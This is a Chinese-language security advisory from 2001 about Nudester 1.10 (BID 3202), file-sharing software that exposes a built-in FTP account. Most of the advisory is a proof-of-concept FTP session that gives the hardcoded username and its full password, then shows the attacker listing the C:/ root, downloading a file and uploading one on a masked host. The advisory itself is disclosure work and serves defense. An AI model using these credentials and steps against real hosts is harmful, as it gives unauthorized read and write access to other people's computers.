发布日期：2001-08-17
更新日期：2001-08-20

受影响系统：

Nudester.org Nudester 1.10
   - Microsoft Windows ME
   - Microsoft Windows 98
   - Microsoft Windows 95
   - Microsoft Windows NT 4.0
   - Microsoft Windows 2000

描述：

---

BUGTRAQ ID：3202

用户从Nudester主机下载文件时，可能获得该主机的帐号和密码，利用这个帐号和密
码，攻击者可能从主机的任何位置下载文件或者是把文件上载到主机的任何位置。

利用这个漏洞，攻击者可能获得对该主机的完全控制。

<*来源：Gary （Cyph3r@phreaker.net）*>




测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

ftp> open ***.***.***.***
Connected to ***.***.***.***
220 ICS FTP Server ready.
User (***.***.***.***:(none)): NUDESTER
331 Password required for NUDESTER.
Password: NSASTdfg!"#.%&sd3214894231SDFGSD598502534
230 User NUDESTER logged in.

ftp> dir
200 Port command successful.
150 Opening data connection for directory list.
C:\TEMP\*.* not found
226 File sent ok
ftp: 23 bytes received in 0.04Seconds 0.57Kbytes/sec.
ftp> cd ..
250 CWD command successful. "C:/" is current directory.
ftp> DIR
200 Port command successful.
150 Opening data connection for directory list.
-rw-rw-rw-   1 ftp      ftp         1152 Oct 30  2000 FRUNLOG.TXT
-rwxrwxrwx   1 ftp      ftp        25473 May 15  1998 MSCDEX.EXE
-rw-rw-rw-   1 ftp      ftp        10604 May 15  1997 CDROM.SYS
-rwxrwxrwx   1 ftp      ftp        20135 May 15  1998 KEYB.COM
-rw-rw-rw-   1 ftp      ftp        34566 May 15  1998 KEYBOARD.SYS
-rwxrwxrwx   1 ftp      ftp        71102 May 15  1998 EDIT.COM
-rw-rw-rw-   1 ftp      ftp           38 Oct 16  1998 AUTOEXEC.OLD
-rw-rw-rw-   1 ftp      ftp           31 Oct 16  1998 CONFIG.OLD
drw-rw-rw-   1 ftp      ftp            0 Oct 30  2030 ATI
-rw-rw-rw-   1 ftp      ftp          121 Oct 29  2000 CONFIG.DOS
-rw-rw-rw-   1 ftp      ftp          113 Oct 29  2000 AUTOEXEC.DOS
-rw-rw-rw-   1 ftp      ftp          436 Nov 18  2000 AUTOEXEC.BAK
drw-rw-rw-   1 ftp      ftp            0 Oct 29  2000 WINDOWS
drw-rw-rw-   1 ftp      ftp            0 Oct 30  2000 WINDOWS.000
-rw-rw-rw-   1 ftp      ftp         7471 Nov 18  2000 NETLOG.TXT
-rw-rw-rw-   1 ftp      ftp          172 Nov 15  2000 CONFIG.BAK
-rw-rw-rw-   1 ftp      ftp         5048 Nov 17  2000 SETUPXLG.TXT
-rwxrwxrwx   1 ftp      ftp          438 Aug 16 00:43 AUTOEXEC.BAT
dr--r--r--   1 ftp      ftp            0 Oct 29  2000 Program Files
-rw-rw-rw-   1 ftp      ftp          172 Nov 18  2000 CONFIG.SYS
-rw-rw-rw-   1 ftp      ftp        19622 Aug 10 18:50 SCANDISK.LOG
-rw-rw-rw-   1 ftp      ftp          327 Oct 30  2030 outreg.txt
-rw-rw-rw-   1 ftp      ftp          339 Oct 30  2030 outreg.ini
drw-rw-rw-   1 ftp      ftp            0 Oct 30  2030 dcpt
-rwxrwxrwx   1 ftp      ftp        17129 Oct 30  2030 BOOTDISK.EXE
-rwxrwxrwx   1 ftp      ftp      2884286 Oct 30  2030 DECOMP.EXE
-rwxrwxrwx   1 ftp      ftp       265420 Oct 30  2030 DOS4GW.EXE
-rw-rw-rw-   1 ftp      ftp          507 Oct 30  2030 FILE_ID.DIZ
-rw-rw-rw-   1 ftp      ftp         2086 Oct 30  2030 HELPME.DOC
-rw-rw-rw-   1 ftp      ftp         3639 Oct 30  2030 LICENSE.DOC
-rw-rw-rw-   1 ftp      ftp         1377 Oct 30  2030 ORDER.DOC
drw-rw-rw-   1 ftp      ftp            0 Nov 02  2000 KPCMS
-rw-rw-rw-   1 ftp      ftp          386 Nov 02  2000 AUTOEXEC.001
drw-rw-rw-   1 ftp      ftp            0 Nov 02  2000 psfonts
-rw-rw-rw-   1 ftp      ftp           25 Nov 03  2000 prompt
-rwxrwxrwx   1 ftp      ftp        95874 May 05  1999 COMMAND.COM
drw-rw-rw-   1 ftp      ftp            0 Nov 19  2000 Winzip
drw-rw-rw-   1 ftp      ftp            0 Dec 10  2000 unzipped
drw-rw-rw-   1 ftp      ftp            0 Nov 19  2000 Antivirus
drw-rw-rw-   1 ftp      ftp            0 Dec 16  2000 My Music
-rw-rw-rw-   1 ftp      ftp          118 Jan 20 00:27 netsig.txt
drw-rw-rw-   1 ftp      ftp            0 Mar 15 21:05 accelerator
-rw-rw-rw-   1 ftp      ftp        22721 Aug 17 01:00 winzip.log
226 File sent ok
ftp: 4652 bytes received in 5.64Seconds 0.83Kbytes/sec.

- 尝试下载一个文件

ftp> get netsig.txt
200 Port command successful.
150 Opening data connection for netsig.txt.
226 File sent ok
ftp: 118 bytes received in 0.00Seconds 118000.00Kbytes/sec.

- 尝试上传一个文件

ftp> put c:\temp.txt
200 Port command successful.
150 Opening data connection for TEMP.TXT.
226 File received ok


建议：

---

厂商补丁：

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本：
http://www.nudester.org/


浏览次数：4481
严重程度：0（网友投票）